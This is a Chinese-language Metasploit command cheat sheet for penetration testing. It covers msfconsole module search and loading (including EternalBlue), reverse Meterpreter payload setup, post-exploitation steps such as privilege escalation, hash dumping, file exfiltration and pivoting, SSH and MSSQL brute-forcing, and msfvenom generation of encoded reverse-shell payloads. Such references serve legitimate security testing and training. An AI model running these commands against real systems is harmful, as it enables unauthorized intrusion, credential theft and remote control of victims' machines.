Metasploit 命令(渗透测试)
Metasploit 框架命令:msfconsole 基础、模块搜索与载荷配置、Meterpreter 会话管理与后渗透常用操作
msfconsole 基础操作
基本写法:启动 msfconsole
msfconsole
# 启动 Metasploit 控制台
msfconsole -q
基本写法:查看版本
version
# 查看 Metasploit 版本
msfconsole -q -x "version"
基本写法:查看模块统计
show <模块类型>
# 查看各类型模块数量
show all
基本写法:查看帮助
help <命令>
# 查看指定命令帮助
help search
基本写法:退出控制台
exit
# 退出 msfconsole
exit
模块搜索与加载
基本写法:搜索漏洞利用模块
search <关键字>
# 搜索 SMB 相关利用模块
search name:smb type:exploit
基本写法:按 CVE 搜索
search <CVE编号>
# 按 CVE 编号搜索模块
search CVE-2021-44228
基本写法:按平台搜索
search platform:<平台>
# 搜索 Linux 平台模块
search platform:linux type:exploit
基本写法:加载模块
use <模块路径>
# 加载指定利用模块
use exploit/windows/smb/ms17_010_eternalblue
基本写法:查看模块信息
info <模块路径>
# 查看模块详细信息
info exploit/multi/handler
基本写法:查看模块选项
show options
# 查看当前模块的配置选项
show options
模块配置与执行
基本写法:设置目标地址
set RHOSTS <目标IP>
# 设置目标主机地址
set RHOSTS 192.168.1.10
基本写法:设置本地监听地址
set LHOST <本机IP>
# 设置反向连接监听地址
set LHOST 192.168.1.5
基本写法:设置监听端口
set LPORT <端口>
# 设置监听端口
set LPORT 4444
基本写法:设置 Payload
set PAYLOAD <payload路径>
# 设置反向 Meterpreter Payload
set PAYLOAD windows/meterpreter/reverse_tcp
基本写法:执行模块
exploit
# 执行当前加载的模块
exploit -j
基本写法:设置目标编号
set TARGET <编号>
# 设置目标系统类型编号
set TARGET 0
Meterpreter 操作
基本写法:查看系统信息
sysinfo
# 查看目标系统信息
sysinfo
基本写法:获取当前用户
getuid
# 查看当前权限用户
getuid
基本写法:提权
getsystem
# 尝试提权到 SYSTEM
getsystem
基本写法:执行系统命令
execute -f <命令> -i
# 在目标执行命令
execute -f cmd.exe -i -H
基本写法:下载文件
download <远程文件> <本地路径>
# 从目标下载文件
download C:\\Users\\admin\\secret.txt /tmp/
基本写法:上传文件
upload <本地文件> <远程路径>
# 上传文件到目标
upload /tmp/payload.exe C:\\Users\\Public\\
基本写法:截屏
screenshot
# 截取目标屏幕
screenshot -p /tmp/screen.png
后渗透操作
基本写法:获取密码哈希
hashdump
# 导出系统密码哈希
hashdump
基本写法:获取进程列表
ps
# 列出目标进程
ps
基本写法:迁移进程
migrate <PID>
# 迁移到指定进程
migrate 1234
基本写法:查看网络连接
netstat
# 查看目标网络连接状态
netstat
基本写法:路由添加
route add <子网> <掩码> <会话ID>
# 通过 Meterpreter 会话添加路由
route add 192.168.2.0 255.255.255.0 1
基本写法:建立 socks 代理
use auxiliary/server/socks4a
# 加载 socks 代理模块用于内网穿透
use auxiliary/server/socks4a
set SRVHOST 127.0.0.1
set SRVPORT 1080
run -j
辅助模块使用
基本写法:端口扫描
use auxiliary/scanner/portscan/tcp
# 使用 TCP 端口扫描模块
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.10
set PORTS 1-1000
run
基本写法:SMB 版本探测
use auxiliary/scanner/smb/smb_version
# 探测 SMB 版本信息
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.10
run
基本写法:SSH 登录爆破
use auxiliary/scanner/ssh/ssh_login
# SSH 密码爆破模块
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.10
set USERNAME root
set PASS_FILE passwords.txt
run
基本写法:HTTP 目录扫描
use auxiliary/scanner/http/dir_scanner
# 扫描 Web 目录
use auxiliary/scanner/http/dir_scanner
set RHOSTS 192.168.1.10
set DICTIONARY /usr/share/wordlists/dirb/common.txt
run
基本写法:数据库凭据收集
use auxiliary/scanner/mssql/mssql_login
# MSSQL 登录测试模块
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 192.168.1.10
set USERNAME sa
set PASSWORD admin123
run
Payload 生成
基本写法:生成反向 Payload
msfvenom -p <payload> LHOST=<IP> LPORT=<端口> -f <格式> -o <文件>
# 生成 Windows 反向 Meterpreter Payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o payload.exe
基本写法:生成 Linux Payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<端口> -f elf -o <文件>
# 生成 Linux ELF 格式 Payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf -o payload.elf
基本写法:生成 Python Payload
msfvenom -p python/meterpreter/reverse_tcp LHOST=<IP> LPORT=<端口> -f raw -o <文件>
# 生成 Python 格式 Payload
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o payload.py
基本写法:生成 Payload 时编码
msfvenom -p <payload> -e <编码器> -i <次数> LHOST=<IP> LPORT=<端口> -f <格式> -o <文件>
# 使用 shikata_ga_nai 编码 5 次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.1.5 LPORT=4444 -f exe -o payload.exe
基本写法:生成 PHP Payload
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP> LPORT=<端口> -f php -o <文件>
# 生成 PHP 格式 Payload
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f php -o payload.php
数据库操作
基本写法:连接 PostgreSQL
db_connect <用户>:<密码>@<主机>/<数据库>
# 连接 Metasploit 数据库
db_connect msf:msf@127.0.0.1/msf
基本写法:查看数据库状态
db_status
# 查看数据库连接状态
db_status
基本写法:导入 nmap 扫描结果
db_import <XML文件>
# 导入 nmap XML 扫描结果
db_import nmap_scan.xml
基本写法:查看主机列表
hosts
# 查看数据库中保存的主机
hosts
基本写法:查看服务列表
services
# 查看发现的服务
services
基本写法:查看凭据
creds
# 查看收集到的凭据
creds
资源脚本与自动化
基本写法:执行资源脚本
resource <脚本文件>
# 批量执行命令脚本
resource /tmp/commands.rc
基本写法:创建资源脚本
echo "use auxiliary/scanner/portscan/tcp" > <脚本>
# 创建自动化扫描脚本
cat > /tmp/scan.rc << 'EOF'
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 22,80,443
run
EOF
基本写法:启动时执行脚本
msfconsole -r <脚本文件>
# 启动时执行指定脚本
msfconsole -r /tmp/scan.rc
基本写法:执行单条命令
msfconsole -x "<命令>"
# 启动后执行单条命令
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.5; set LPORT 4444; run"
报告与会话管理
基本写法:查看活跃会话
sessions -l
# 列出所有 Meterpreter 会话
sessions -l
基本写法:进入指定会话
sessions -i <ID>
# 进入指定 ID 的会话
sessions -i 1
基本写法:后台当前会话
background
# 将当前会话转入后台
background
基本写法:杀死会话
sessions -k <ID>
# 终止指定会话
sessions -k 1
基本写法:生成报告
msfd
# 启动 Metasploit 守护进程服务
msfd -a 127.0.0.1 -p 7337
Metasploit 模块更新
基本写法:更新 Metasploit
msfupdate
# 更新 Metasploit 框架
msfupdate
基本写法:查看已加载插件
show plugins
# 查看可用插件列表
load wiki
基本写法:加载插件
load <插件名>
# 加载 nessus 插件
load nessus
基本写法:查看数据库工作空间
workspace
# 查看与切换工作空间
workspace
workspace -a pentest
基本写法:查看模块缓存
show module_paths
# 查看模块加载路径
show module_paths